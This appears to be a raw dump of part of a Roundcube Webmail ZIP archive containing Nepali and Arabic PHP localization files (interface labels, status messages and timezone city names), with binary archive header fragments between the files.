$labels['replytoallmessage'] = 'प्रेषक लगायत सबैलाई जवाफ दिनुहोस';
$labels['replyall'] = 'सबैलाई जवाफ दिनुहोस';
$labels['replylist'] = 'जवाफ तालिका';
$labels['forward'] = 'फरवार्ड गर्नुहोस्';
$labels['forwardinline'] = 'आन्तरिक पंक्तिमा फरवार्ड गर्नुहोस';
$labels['forwardattachment'] = 'एट्याचमेन्ट जसरी फरवार्ड गर्नुहोस';
$labels['forwardmessage'] = 'मेल अगाडि पठाउनुहोस';
$labels['deletemessage'] = 'रद्दी टोकरीमा हाल्नुहोस';
$labels['movemessagetotrash'] = 'सन्देशलाई रद्दी टोकरीमा सार्नुहोस';
$labels['printmessage'] = 'यो सन्देशलाई मुद्रण गर्नुहोस्';
$labels['previousmessage'] = 'पछाडिको सन्देश देखाउनुहोस';
$labels['firstmessage'] = 'पहलो सन्देश देखाउनुहोस';
$labels['nextmessage'] = 'अगाडिको सन्देश देखाउनुहोस';
$labels['lastmessage'] = 'अन्तिम सन्देश देखाउनुहोस';
$labels['backtolist'] = 'सन्देश सूची देखाउनुहोस';
$labels['viewsource'] = 'श्रोत देखाउनुहोस';
$labels['mark'] = 'चिन्ह लगाउनुहोस्';
$labels['markmessages'] = 'सन्देशमा चिन्ह लगाउनुहोस्';
$labels['more'] = 'अझ धेरै';
$labels['back'] = 'पछाडि';
$labels['options'] = 'विकल्पहरू';
$labels['select'] = 'चयन गर्नुहोस्';
$labels['all'] = 'सबै';
$labels['none'] = 'हैन';
$labels['unread'] = 'नपढिएका |';
$labels['nonesort'] = 'हैन';
$labels['compact'] = 'छोटो गर्नुहोस';
$labels['empty'] = 'खाली गर्ने';
$labels['quota'] = 'डिस्कको उपभोग';
$labels['unknown'] = 'अज्ञात';
$labels['unlimited'] = 'अनगिन्ति';
$labels['quicksearch'] = 'स्फुर्ति खोज';
$labels['resetsearch'] = 'पन: खोज';
$labels['sendmessage'] = 'तुरुन्तै मेल पठाउनुहोस';
$labels['savemessage'] = 'ड्राफ्ट जोगाउनुहोस';
$labels['addattachment'] = 'फाइल टाँस्नुहोस';
$labels['charset'] = 'क्यारेक्टर सेट';
$labels['editortype'] = 'सम्पादकको प्रकार';
$labels['returnreceipt'] = 'फिर्ति रसीद';
$labels['checkspelling'] = 'हिज्जे जाँच';
$labels['resumeediting'] = 'पुन: सम्पादन गर्नुहोस';
$labels['revertto'] = 'पहिलेको स्थितीमा जानुहोस';
$labels['attachments'] = 'टाँसिएका फाईलहरु';
$labels['upload'] = 'अपलोड';
$labels['close'] = 'बन्द';
$labels['low'] = 'कम';
$labels['lowest'] = 'सबै भन्दा कम';
$labels['normal'] = 'साधारण';
$labels['high'] = 'उच्च';
$labels['highest'] = 'उच्चतम';
$labels['nosubject'] = '(बिना विषयको)';
$labels['showimages'] = 'चित्र देखाउनुहोस';
$labels['htmltoggle'] = 'ऐच-टी-ऐम-एल (HTML)';
$labels['plaintoggle'] = 'सादा अक्षर';
$labels['name'] = 'देखाउने नाम';
$labels['firstname'] = 'पहिलो नाम';
$labels['surname'] = 'थर';
$labels['email'] = 'ई-मेल';
$labels['editcontact'] = 'सम्पर्क सच्याउनुहोस';
$labels['edit'] = 'सच्याउनुहोस';
$labels['cancel'] = 'खारेज गर्नुहोस';
$labels['save'] = 'जोगाउनुहोस';
$labels['delete'] = 'मेटाउनुहोस';
$labels['deletecontact'] = 'छानिएका सम्पर्कहरु मेटाउनुहोस';
$labels['composeto'] = 'मेल लेखी पठाउनुहोस';
$labels['contactsfromto'] = 'सम्पर्कहरु $from बाट $to सम्म, $count मध्यबाट';
$labels['print'] = 'छाप्नुहोस';
$labels['export'] = 'ऐक्स्पोर्ट गर्नुहोस';
$labels['previouspage'] = 'पहिलेको सेट देखाउनुहोस';
$labels['firstpage'] = 'पहिलो सेट देखाउनुहोस';
$labels['nextpage'] = 'अर्को सेट देखाउनुहोस';
$labels['lastpage'] = 'अन्तिम सेट देखाउनुहोस';
$labels['groups'] = 'समूहहरु';
$labels['personaladrbook'] = 'व्यक्तिगत ठेगानाहरु';
$labels['settingsfor'] = 'तय';
$labels['preferences'] = 'रोजाइहरु';
$labels['userpreferences'] = 'यूसरका रोजाइहरु';
$labels['editpreferences'] = 'यूसरका रोजाइहर सम्पादन गर्नुहोस';
$labels['identities'] = 'पहिचानहरु';
$labels['preferhtml'] = 'ऐच-टी-ऐम-ऐल(HTML) देखाउनुहोस';
$labels['htmlmessage'] = 'ऐच-टी-ऐम-ऐल (HTML) रूपका मेल';
$labels['prettydate'] = 'सुन्दर तारिख';
$labels['setdefault'] = 'तय गर्नुहोस';
$labels['language'] = 'भाषा';
$labels['timezone'] = 'समय क्षेत्र';
$labels['pagesize'] = 'हरेक पन्नामा यति';
$labels['signature'] = 'हस्ताक्षर';
$labels['dstactive'] = 'प्रकाश बचाव';
$labels['htmleditor'] = 'ऐच-टी-ऐम-एल (HTML) मेल लखन गर्नुहोस';
$labels['htmlsignature'] = 'ऐच-टी-ऐम-एल (HTML) हस्ताक्षर';
$labels['previewpane'] = 'पूर्व दृष्य देखाउनुहोस';
$labels['autosavedraft'] = 'स्वत ड्राफ्ट जोगाउनुहोस';
$labels['never'] = 'काहिलै नहुने';
$labels['folder'] = 'फोल्डर';
$labels['folders'] = 'फोल्डरहरु';
$labels['foldername'] = 'फोल्डरको नाम';
$labels['subscribed'] = 'सबस्क्राईब गरियो';
$labels['create'] = 'बनाउनुहोस';
$labels['createfolder'] = 'नया फोलडर बनाउनुहोस';
$labels['managefolders'] = 'फोलडर व्यवस्थित गर्नुहोस';
$labels['sortby'] = 'यसरी तय गर्नुहोस';
$labels['sortasc'] = 'पहिलो देखि अन्तिम सम्म तय गर्नुहोस';
$labels['sortdesc'] = 'अन्तिम देखि पहिलो सम्म तय गर्नुहोस';
PK
h�\}N˩��'program/localization/ne_NP/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['loginfailed']  = 'लागईन हुन पाएन';
$messages['cookiesdisabled'] = 'तपाईको ब्राऊसरले कुकी स्वीकार गारिरहेको छैन';
$messages['sessionerror'] = 'सत्र समाप्त वा अवैद्य';
$messages['storageerror'] = 'सर्वर संग सम्पर्क हुन पाएन';
$messages['nomessagesfound'] = 'यो मेलबक्स मा कुनै मेल छैन';
$messages['loading'] = 'लोड भईरहेको छ...';
$messages['loadingdata'] = 'डाटा लोड भईरहेको छै...';
$messages['checkingmail'] = 'नया मेलको खोजी भईरहेको छ...';
$messages['sendingmessage'] = 'मेल पठाईदै रहेको छ...';
$messages['messagesent'] = 'मेल सफल्तापूर्वक पठाईयो';
$messages['savingmessage'] = 'मेल जोगाईदै छ...';
$messages['messagesaved'] = 'मेल ड्राफ्ट फोल्डरमा जोगाईयो';
$messages['successfullysaved'] = 'सफल्तापूर्वक जोगाईयो';
$messages['addedsuccessfully'] = 'सम्पर्क पुस्तिकामा सफल्तापूर्वक सम्पर्क प्रविष्ट गारियो';
$messages['blockedimages'] = 'तपाईको प्राईवेसी को लागि तथा अन्य स्पामबाट बच्नकोलागि यो मेलमा चित्रहुरु देखाईएका छैनन्।';
$messages['encryptedmessage'] = 'माफ गर्नुहोसे, यो मेल ईन्क्रिफ्ट गरिएको रूपमा छ, त्यसैले देखाउन सकिदैन!';
$messages['nocontactsfound'] = 'कुनै सम्पर्क भेटिएन';
$messages['contactnotfound'] = 'अनुरोध गारिएको सम्पर्क भेटिएन';
$messages['sendingfailed'] = 'मेल पठाउन सकिएन';
$messages['errormoving'] = 'मेल सार्न सकिएन';
$messages['errordeleting'] = 'मेल मेटाउन सकिएन';
$messages['deletecontactconfirm']  = 'तापाईले छान्नुभएको सम्पर्कहरु, साँचै मेट्न चहानुहुन्छ?';
$messages['deletemessagesconfirm'] = 'तापाईले छान्नु भएको मेलहरु, साँचै मेट्न चहानुहुन्छ?';
$messages['deletefolderconfirm']  = 'तापाईले साँचै यो फोल्डर मेट्न चहानु हुन्छ?';
$messages['purgefolderconfirm']  = 'तापाईले साँचै यो फोल्डरमा भएका सबै मेलहरु मेट्न चहानुहुन्छ?';
$messages['formincomplete'] = 'फर्म पूर्ण रुपमा भरिएको छैन';
$messages['noemailwarning'] = 'कृपया वैद्य ई-मेल भर्नुहोस';
$messages['nonamewarning']  = 'कृपया नाम भर्नुहोस';
$messages['nopagesizewarning'] = 'कृपया पन्नाको नाप भर्नुहोस';
$messages['norecipientwarning'] = 'कृपया कम-से-कम एउटा प्रापकको विवरण भर्नुहोस';
$messages['nosubjectwarning']  = 'मेलको कुनै विषय तोकिएको छैनै। केहि तोक्न चहानुहुन्छ ?';
$messages['nobodywarning'] = 'बिना केहि लेखि पठाउने?';
$messages['nosearchname'] = 'कृपया सम्पर्कको नाम या ई-मेल भर्नुहोस';
$messages['searchsuccessful'] = '$nr मेलहरु पाइयो';
$messages['searchnomatch'] = 'खोज असफल रहयो';
$messages['searching'] = 'खोजि भईरहेको छ...';
$messages['checking'] = 'जाँच भईरहेको छ...';
$messages['nospellerrors'] = 'कुनै गलत हिज्जे फेला परेनन्';
$messages['folderdeleted'] = 'फोल्डर सफल्तापूर्वक मेटियो';
$messages['deletedsuccessfully'] = 'सफल्तापूर्वक मेटियो';
$messages['converting'] = 'मेलबाट फोर्माटिङ हटाईदै छ...';
$messages['messageopenerror'] = 'सर्वरबाट मेल लोड हुन सकेन';
$messages['fileuploaderror'] = 'फाईल अपलोड हुन असफल';
$messages['filesizeerror'] = 'अपलोड गरिएको फाईल हद $size भन्दा ठूलो छ';
$messages['sourceisreadonly'] = 'यो ठेगाना को श्रोत पढ्नको लागि मात्र उपलब्ध छ';
$messages['errorsavingcontact'] = 'स्मपर्कको ठेगाना जोगाउन सकिएन';
PK
h�\��!��%program/localization/ar/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:africa'] = 'إفريقيا';
$labels['tz:africa:abidjan'] = 'أبيدجان';
$labels['tz:africa:accra'] = 'آكرا';
$labels['tz:africa:addis_ababa'] = 'أديس أبيبا';
$labels['tz:africa:algiers'] = 'الجزائر';
$labels['tz:africa:asmara'] = 'أسمرا';
$labels['tz:africa:bamako'] = 'باماكو';
$labels['tz:africa:banjul'] = 'بنجول';
$labels['tz:africa:bissau'] = 'بيساو';
$labels['tz:africa:brazzaville'] = 'برازافيل';
$labels['tz:africa:cairo'] = 'القاهرة';
$labels['tz:africa:casablanca'] = 'الدار البيضاء';
$labels['tz:africa:ceuta'] = 'سبة';
$labels['tz:africa:conakry'] = 'كوناكري';
$labels['tz:africa:dakar'] = 'داكار';
$labels['tz:africa:dar_es_salaam'] = 'دار السلام';
$labels['tz:africa:djibouti'] = 'جيبوتي';
$labels['tz:africa:douala'] = 'دوالا';
$labels['tz:africa:el_aaiun'] = 'العيون';
$labels['tz:africa:harare'] = 'هراري';
$labels['tz:africa:johannesburg'] = 'جوهانسبورغ';
$labels['tz:africa:juba'] = 'جوبا';
$labels['tz:africa:kampala'] = 'كامبالا';
$labels['tz:africa:khartoum'] = 'الخرطوم';
$labels['tz:africa:kigali'] = 'كيغالي';
$labels['tz:africa:kinshasa'] = 'كينشاسا';
$labels['tz:africa:lagos'] = 'لاغوس';
$labels['tz:africa:libreville'] = 'لبير فيل';
$labels['tz:africa:lome'] = 'لومي';
$labels['tz:africa:luanda'] = 'لواندا';
$labels['tz:africa:lubumbashi'] = 'لوبومباشي';
$labels['tz:africa:lusaka'] = 'لوزاكا';
$labels['tz:africa:malabo'] = 'مالابو';
$labels['tz:africa:maputo'] = 'مابوتو';
$labels['tz:africa:mbabane'] = 'مبابان';
$labels['tz:africa:mogadishu'] = 'موغاديشيو';
$labels['tz:africa:monrovia'] = 'منروفيا';
$labels['tz:africa:nairobi'] = 'نايروبي';
$labels['tz:africa:ndjamena'] = 'نجامينا';
$labels['tz:africa:niamey'] = 'نيامي';
$labels['tz:africa:nouakchott'] = 'نواكشوط';
$labels['tz:africa:ouagadougou'] = 'واغادوغو';
$labels['tz:africa:tripoli'] = 'طرابلس';
$labels['tz:africa:tunis'] = 'تونس';
$labels['tz:america'] = 'أمريكا';
$labels['tz:america:anchorage'] = 'أونكوراج';
$labels['tz:america:halifax'] = 'هاليفاكس';
$labels['tz:america:indiana'] = 'الإنديانا';
$labels['tz:america:indiana:petersburg'] = 'بيترزبرغ';
$labels['tz:america:indiana:winamac'] = 'ويناماك';
$labels['tz:america:jamaica'] = 'جامايكا';
$labels['tz:america:kentucky'] = 'كانتوكي';
$labels['tz:america:la_paz'] = 'لاباز';
$labels['tz:america:lima'] = 'ليما';
$labels['tz:america:los_angeles'] = 'لوس أنجلس';
$labels['tz:america:manaus'] = 'ماناووس';
$labels['tz:america:martinique'] = 'مارتينيك';
$labels['tz:america:montevideo'] = 'مونتيفيديو';
$labels['tz:america:montserrat'] = 'مونسيراط';
$labels['tz:america:new_york'] = 'نيويورك';
$labels['tz:america:panama'] = 'بانما';
$labels['tz:america:paramaribo'] = 'باراماريبو';
$labels['tz:america:phoenix'] = 'فينيكس';
$labels['tz:america:port-au-prince'] = 'بور أو برانس';
$labels['tz:america:puerto_rico'] = 'بورتو ريكو';
$labels['tz:america:regina'] = 'ريجينا';
$labels['tz:america:santiago'] = 'سان تياغو';
$labels['tz:america:sao_paulo'] = 'ساو باولو';
$labels['tz:america:tijuana'] = 'تيخوانا';
$labels['tz:america:toronto'] = 'تورونطو';
$labels['tz:america:tortola'] = 'تورتولا';
$labels['tz:america:vancouver'] = 'فانكوفر';
$labels['tz:america:winnipeg'] = 'وينيباغ';
$labels['tz:antarctica:mawson'] = 'ماوسن';
$labels['tz:antarctica:palmer'] = 'بالمر';
$labels['tz:antarctica:troll'] = 'طرول';
$labels['tz:antarctica:vostok'] = 'فوسطوك';
$labels['tz:asia'] = 'آسيا';
$labels['tz:asia:aden'] = 'عدن';
$labels['tz:asia:amman'] = 'عمان';
$labels['tz:asia:baghdad'] = 'بغداد';
$labels['tz:asia:bahrain'] = 'البحرين';
$labels['tz:asia:bangkok'] = 'بانكوك';
$labels['tz:asia:beirut'] = 'بيروت';
$labels['tz:asia:brunei'] = 'بروناي';
$labels['tz:asia:colombo'] = 'كولومبو';
$labels['tz:asia:damascus'] = 'دمشق';
$labels['tz:asia:dubai'] = 'دبي';
$labels['tz:asia:famagusta'] = 'فاماغوستا';
$labels['tz:asia:gaza'] = 'غزة';
$labels['tz:asia:hong_kong'] = 'هونغ كونغ';
$labels['tz:asia:jakarta'] = 'جاكارتا';
$labels['tz:asia:jayapura'] = 'جايابورا';
$labels['tz:asia:kabul'] = 'كابل';
$labels['tz:asia:karachi'] = 'كراتشي';
$labels['tz:asia:kolkata'] = 'كولكاتا';
$labels['tz:asia:kuala_lumpur'] = 'كوالالمبور';
$labels['tz:asia:kuwait'] = 'الكويت';
$labels['tz:asia:macau'] = 'ماكاو';
$labels['tz:asia:manila'] = 'مانيلا';
$labels['tz:asia:muscat'] = 'مسقط';
$labels['tz:asia:nicosia'] = 'نيقوسيا';
$labels['tz:asia:qatar'] = 'قطر';
$labels['tz:asia:riyadh'] = 'الرياض';
$labels['tz:asia:samarkand'] = 'سمرقند';
$labels['tz:asia:shanghai'] = 'شانغهاي';
$labels['tz:asia:singapore'] = 'سانغفورة';
$labels['tz:asia:taipei'] = 'تاي باي';
$labels['tz:asia:tehran'] = 'طهران';
$labels['tz:asia:tokyo'] = 'طوكيو';
$labels['tz:asia:vladivostok'] = 'فلاديفوسطوك';
$labels['tz:atlantic:reykjavik'] = 'ريكيافيك';
$labels['tz:australia'] = 'أستراليا';
$labels['tz:australia:melbourne'] = 'ميلبورن';
$labels['tz:australia:sydney'] = 'سيدني';
$labels['tz:europe'] = 'أوروبا';
$labels['tz:europe:amsterdam'] = 'أمستيردام';
$labels['tz:europe:andorra'] = 'أندورا';
$labels['tz:europe:athens'] = 'أثينا';
$labels['tz:europe:belgrade'] = 'بلغراد';
$labels['tz:europe:berlin'] = 'برلين';
$labels['tz:europe:bratislava'] = 'براتيسلافا';
$labels['tz:europe:brussels'] = 'بروكسل';
$labels['tz:europe:bucharest'] = 'بوخاريست';
$labels['tz:europe:budapest'] = 'بودابست';
$labels['tz:europe:dublin'] = 'دوبلين';
$labels['tz:europe:gibraltar'] = 'جبل طارق';
$labels['tz:europe:helsinki'] = 'هيلسينكي';
$labels['tz:europe:istanbul'] = 'إسطنبول';
$labels['tz:europe:kiev'] = 'كييف';
$labels['tz:europe:lisbon'] = 'لشبونة';
$labels['tz:europe:london'] = 'لندن';
$labels['tz:europe:luxembourg'] = 'اللوكسومبورغ';
$labels['tz:europe:madrid'] = 'مادريد';
$labels['tz:europe:malta'] = 'مالطا';
$labels['tz:europe:monaco'] = 'موناكو';
$labels['tz:europe:moscow'] = 'موسكو';
$labels['tz:europe:oslo'] = 'أوسلو';
$labels['tz:europe:paris'] = 'باريس';
$labels['tz:europe:rome'] = 'روما';
$labels['tz:europe:sarajevo'] = 'ساراييفو';
$labels['tz:europe:vatican'] = 'الفاتيكان';
$labels['tz:europe:vienna'] = 'فيينا';
$labels['tz:europe:warsaw'] = 'فارسوفيا';
$labels['tz:europe:zagreb'] = 'زاغرب';
$labels['tz:pacific:midway'] = 'ميدواي';
$labels['tz:pacific:tahiti'] = 'تاهيتي';
PK
h�\6m��hh"program/localization/ar/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'مرحباً بكم في $product';
$labels['username'] = 'اسم المستخدم';
$labels['password'] = 'كلمة المرور';
$labels['server'] = 'الخادم';
$labels['login'] = 'تسجيل الدخول';
$labels['menu'] = 'القائمة';
$labels['logout'] = 'تسجيل الخروج';
$labels['mail'] = 'البريد';
$labels['settings'] = 'الإعدادات';
$labels['addressbook'] = 'دفتر العناوين';
$labels['inbox'] = 'البريد الوارد';
$labels['drafts'] = 'المسودات';
$labels['sent'] = 'البريد المرسل';
$labels['trash'] = 'المهملات';
$labels['junk'] = 'الرسائل غير المرغوب فيها';
$labels['subject'] = 'الموضوع';
$labels['from'] = 'المرسل';
$labels['sender'] = 'المُرسِل';
$labels['to'] = 'المستقبل';
$labels['cc'] = 'نسخة إلي';
$labels['bcc'] = 'نسخة مخفية الوجهة';
$labels['replyto'] = 'الرد إلى';
$labels['followupto'] = 'Mail-Followup-To';
$labels['date'] = 'التاريخ';
$labels['size'] = 'الحجم';
$labels['priority'] = 'الأولوية';
$labels['organization'] = 'المنظمة';
$labels['readstatus'] = 'حالة القراءة';
$labels['listoptionstitle'] = 'خيارات القائمة';
$labels['mailboxlist'] = 'مجلدات';
$labels['messagesfromto'] = 'الرسالة $from إلى $to من مجموع $count';
$labels['threadsfromto'] = 'جهات الإتصال $from إلى $to من مجموع $count';
$labels['messagenrof'] = 'الرسالة $nr من $count';
$labels['copy'] = 'نسخ';
$labels['move'] = 'نقل';
$labels['moveto'] = 'نقل إلى...';
$labels['copyto'] = 'النسخ إلى …';
$labels['download'] = 'تنزيل';
$labels['open'] = 'فتح';
$labels['showattachment'] = 'إظهار';
$labels['showanyway'] = 'إظهار ذلك على أي حال';
$labels['filename'] = 'اسم الملف';
$labels['filesize'] = 'حجم الملف';
$labels['addtoaddressbook'] = 'إضافة إلى دفتر العناوين';
$labels['sun'] = 'أحد';
$labels['mon'] = 'إثنين';
$labels['tue'] = 'ثلاثاء';
$labels['wed'] = 'أربعاء';
$labels['thu'] = 'خميس';
$labels['fri'] = 'جمعة';
$labels['sat'] = 'سبت';
$labels['sunday'] = 'الأحد';
$labels['monday'] = 'الإثنين';
$labels['tuesday'] = 'الثلاثاء';
$labels['wednesday'] = 'الأربعاء';
$labels['thursday'] = 'الخميس';
$labels['friday'] = 'الجمعة';
$labels['saturday'] = 'السبت';
$labels['jan'] = 'يناير';
$labels['feb'] = 'فبراير';
$labels['mar'] = 'مارس';
$labels['apr'] = 'أبريل';
$labels['may'] = 'مايو';
$labels['jun'] = 'يونيو';
$labels['jul'] = 'يوليو';
$labels['aug'] = 'أغسطس';
$labels['sep'] = 'سبتمبر';
$labels['oct'] = 'أكتوبر';
$labels['nov'] = 'نوفمبر';
$labels['dec'] = 'ديسمبر';
$labels['longjan'] = 'يناير';
$labels['longfeb'] = 'فبراير';
$labels['longmar'] = 'مارس';
$labels['longapr'] = 'أبريل';
$labels['longmay'] = 'مايو';
$labels['longjun'] = 'يونيو';
$labels['longjul'] = 'يوليو';
$labels['longaug'] = 'أغسطس';
$labels['longsep'] = 'سبتمبر';
$labels['longoct'] = 'أكتوبر';
$labels['longnov'] = 'نوفمبر';
$labels['longdec'] = 'ديسمبر';
$labels['today'] = 'اليوم';
$labels['refresh'] = 'تحديث';
$labels['checkmail'] = 'التحقق من وجود رسائل جديدة';
$labels['compose'] = 'إنشاء';
$labels['writenewmessage'] = 'إنشاء رسالة جديدة';
$labels['reply'] = 'رد';
$labels['replytomessage'] = 'الرد على المرسل';
$labels['replytoallmessage'] = 'الرد على قائمة أو إلى المرسل وجميع المستلمين';
$labels['replyall'] = 'الرد على الجميع';
$labels['replylist'] = 'الرد على القائمة';
$labels['forward'] = 'إعادة توجيه';
$labels['forwardinline'] = 'تمرير الرسالة ضمنياً';
$labels['forwardattachment'] = 'تمرير الرسالة كمرفق';
$labels['forwardmessage'] = 'تمرير الرسالة';
$labels['bounce'] = 'إعادة الإرسال';
$labels['deletemessage'] = 'حذف الرسالة';
$labels['movemessagetotrash'] = 'انقل الرسالة إلى سلة المهملات';
$labels['printmessage'] = 'أطبع هذه الرسالة';
$labels['previousmessage'] = 'عرض الرسالة السابقة';
$labels['firstmessage'] = 'عرض الرسالة الأولى';
$labels['nextmessage'] = 'عرض الرسالة التالية';
$labels['lastmessage'] = 'عرض الرسالة الأخيرة';
$labels['backtolist'] = 'العودة إلى قائمة الرسائل';
$labels['viewsource'] = 'إظهار المصدر';
$labels['mark'] = 'علامة';
$labels['markmessages'] = 'وسم الرسالة';
$labels['markread'] = 'مقروءة';
$labels['markunread'] = 'غير مقروءة';
$labels['markflagged'] = 'كموْسومة';
$labels['markunflagged'] = 'كغير موْسومة';
$labels['moreactions'] = 'إجراءات إضافية...';
$labels['folders-all'] = 'كافة المجلدات';
$labels['more'] = 'المزيد';
$labels['back'] = 'العودة';
$labels['options'] = 'خيارات';
$labels['composeoptions'] = 'خيارات الكتابة';
$labels['optionsandattachments'] = 'الخيارات والمرفقات';
$labels['actions'] = 'الإجراءات';
$labels['first'] = 'الأول';
$labels['last'] = 'الأخير';
$labels['previous'] = 'السابق';
$labels['next'] = 'التالي';
$labels['select'] = 'تحديد';
$labels['all'] = 'الكل';
$labels['none'] = 'لاشيء';
$labels['currpage'] = 'الصفحة الحالية';
$labels['unread'] = 'غير مقروءة';
$labels['flagged'] = 'موسوم';
$labels['unanswered'] = 'بلا رد';
$labels['deleted'] = 'محذوف';
$labels['undeleted'] = 'غير محذوفة';
$labels['forwarded'] = 'المُعاد توجيهها';
$labels['invert'] = 'عكس';
$labels['filter'] = 'تصفية';
$labels['list'] = 'قائمة';
$labels['threads'] = 'تتابعات';
$labels['expand-all'] = 'إظهار الكل';
$labels['expand-unread'] = 'إظهار الغير مقروءة';
$labels['collapse-all'] = 'ضمّ الكل';
$labels['threaded'] = 'متتابع';
$labels['autoexpand_threads'] = 'إظهار تتابعات الرسائل';
$labels['do_expand'] = 'جميع التتابعات';
$labels['expand_only_unread'] = 'فقط مع الرسائل الغير مقروءة';
$labels['fromto'] = 'المرسل/المستلم';
$labels['flag'] = 'وسم';
$labels['attachment'] = 'مرفق';
$labels['nonesort'] = 'لاشيء';
$labels['sentdate'] = 'تاريخ إرسالها';
$labels['arrival'] = 'تاريخ وصولها';
$labels['asc'] = 'تصاعدي';
$labels['desc'] = 'تنازلي';
$labels['listcolumns'] = 'أعمدة السرد';
$labels['listsorting'] = 'أعمدة الترتيب';
$labels['listorder'] = 'طريقة الترتيب';
$labels['listmode'] = 'وضع طريقة السرد';
$labels['layoutlist'] = 'قائمة';
$labels['folderactions'] = 'إجراءات المجلد...';
$labels['compact'] = 'ضغط';
$labels['empty'] = 'تفريغ';
$labels['importmessages'] = 'إستيراد رسائل';
$labels['quota'] = 'المساحة المستخدمة';
$labels['unknown'] = 'مجهول';
$labels['unlimited'] = 'غير محدود';
$labels['quotaused'] = 'المساحة المُستعمَلة';
$labels['quotastorage'] = 'مساحة التخزين';
$labels['quotamessage'] = 'تعداد الرسائل';
$labels['quicksearch'] = 'البحث السريع';
$labels['searchplaceholder'] = 'بحث …';
$labels['resetsearch'] = 'استعادة البحث للافتراضي';
$labels['searchmod'] = 'أماكن البحث';
$labels['msgtext'] = 'كامل الرسالة';
$labels['body'] = 'هيكل الرسالة';
$labels['type'] = 'النوع';
$labels['namex'] = 'الإسم';
$labels['searchscope'] = 'المجال';
$labels['currentfolder'] = 'المجلد الحالي';
$labels['allfolders'] = 'كافة المجلدات';
$labels['openinextwin'] = 'افتح في نافذة جديدة';
$labels['emlsave'] = 'تنزيل (.eml)';
$labels['editasnew'] = 'تعديل كجديد';
$labels['send'] = 'ارسل';
$labels['sendmessage'] = 'إرسال الرسالة الآن';
$labels['savemessage'] = 'حفظ هذه المسودة';
$labels['addattachment'] = 'إرفاق ملف';
$labels['charset'] = 'مجموعة المحارف';
$labels['editortype'] = 'نوع المُحرّر';
$labels['returnreceipt'] = 'ايصال استلام';
$labels['dsn'] = 'تنويه حالة التوصيل';
$labels['mailreplyintro'] = 'كتب $sender في $date:';
$labels['originalmessage'] = 'الرسالة الأساسية';
$labels['selectimage'] = 'إختيار صورة';
$labels['addimage'] = 'إضافة صورة';
$labels['selectmedia'] = 'إختيار فيديو';
$labels['addmedia'] = 'إضافة فيديو';
$labels['encrypt'] = 'تعمية';
$labels['encryptmessage'] = 'تعمية الرسالة';
$labels['importpubkeys'] = 'إستيراد مفاتيح عمومية';
$labels['encryptandsign'] = 'تعمية و توقيع';
$labels['recipient'] = 'المتلقَّي';
$labels['editidents'] = 'تعديل الهويات';
$labels['spellcheck'] = 'التدقيق اﻹملائى';
$labels['checkspelling'] = 'التدقيق الإملائي';
$labels['resumeediting'] = 'متابعة التحرير';
$labels['revertto'] = 'استعادة إلى';
$labels['restore'] = 'إسترجاع';
$labels['restoremessage'] = 'هل تود إسترجاع الرسالة ؟';
$labels['ignore'] = 'تجاهل';
$labels['responses'] = 'الردود';
$labels['manageresponses'] = 'إدارة الردود';
$labels['editresponses'] = 'تعديل الردود';
$labels['responsename'] = 'الإسم';
$labels['attach'] = 'إرفاق';
$labels['attachments'] = 'مرفقات';
$labels['upload'] = 'تحميل';
$labels['close'] = 'إغلاق';
$labels['messageoptions'] = 'خيارات الرسائل...';
$labels['low'] = 'منخض';
$labels['lowest'] = 'الأقل';
$labels['normal'] = 'عادي';
$labels['high'] = 'مرتفع';
$labels['highest'] = 'الأعلى';
$labels['nosubject'] = '(دون موضوع)';
$labels['showimages'] = 'إظهار الصور';
$labels['alwaysshow'] = 'دائماً أظهر الصّور القادمة من $sender';
$labels['isdraft'] = 'هذه مسودّة رسالة';
$labels['andnmore'] = '$nr المزيد ...';
$labels['details'] = 'التفاصيل';
$labels['headers'] = 'الرأسيات';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'نص مجرد';
$labels['savesentmessagein'] = 'احفظ الرسالة المُرسلة في';
$labels['dontsave'] = 'لا تحفظها';
$labels['maxuploadsize'] = 'أقصى حجم للملف هو $size';
$labels['addcc'] = 'أضف CC';
$labels['addbcc'] = 'أضف BCC';
$labels['addreplyto'] = 'أضيف Reply-To';
$labels['addfollowupto'] = 'إضافة Mail-Followup-To';
$labels['mdnrequest'] = 'طلب المرسل إعلامه عند قراءتك لرسالته. هل تود إعلام المرسل؟';
$labels['receiptread'] = 'إيصال الاستلام )بالقراءة)';
$labels['yourmessage'] = 'هذا إيصال بقراءة رسالتك';
$labels['receiptnote'] = 'ملاحظة: يُعلمك هذا الإيصال بأن رسالتك قد ظهرت على جهاز المستقبِل. ليست هناك أية ضمانات أن المستقبل قد قرأ أو فهم محتويات الرسالة.';
$labels['zoomin'] = 'تقريب';
$labels['rotate'] = 'تدوير';
$labels['increaseimage'] = 'تكبير حجم الصورة';
$labels['decreaseimage'] = 'تصغير حجم الصورة';
$labels['rotateimage'] = 'تدوير الصورة';
$labels['showtools'] = 'إظهار أدوات الصور';
$labels['hidetools'] = 'إخفاء أدوات الصور';
$labels['name'] = 'اسم العرض';
$labels['firstname'] = 'الإسم الأول';
$labels['surname'] = 'الإسم الأخير';
$labels['middlename'] = 'الاسم الثاني';
$labels['nameprefix'] = 'السابقة';
$labels['namesuffix'] = 'اللاحقة';
$labels['nickname'] = 'اللقب';
